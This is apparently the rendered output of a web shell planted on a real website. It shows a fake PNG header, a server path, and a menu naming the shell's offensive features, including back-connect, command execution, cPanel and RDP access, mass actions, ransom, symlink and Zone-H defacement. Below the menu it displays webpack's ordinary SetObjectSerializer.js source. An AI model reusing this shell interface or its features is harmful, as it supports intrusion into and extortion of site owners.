\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/frontend/node_modules/webpack/lib/serialization/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/frontend/node_modules/webpack/lib/serialization/SetObjectSerializer.js |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
*/
"use strict";
/** @typedef {import("./ObjectMiddleware").ObjectDeserializerContext} ObjectDeserializerContext */
/** @typedef {import("./ObjectMiddleware").ObjectSerializerContext} ObjectSerializerContext */
class SetObjectSerializer {
/**
* Serializes this instance into the provided serializer context.
* @template T
* @param {Set<T>} obj set
* @param {ObjectSerializerContext} context context
*/
serialize(obj, context) {
context.write(obj.size);
for (const value of obj) {
context.write(value);
}
}
/**
* Restores this instance from the provided deserializer context.
* @template T
* @param {ObjectDeserializerContext} context context
* @returns {Set<T>} date
*/
deserialize(context) {
/** @type {number} */
const size = context.read();
/** @type {Set<T>} */
const set = new Set();
for (let i = 0; i < size; i++) {
set.add(context.read());
}
return set;
}
}
module.exports = SetObjectSerializer;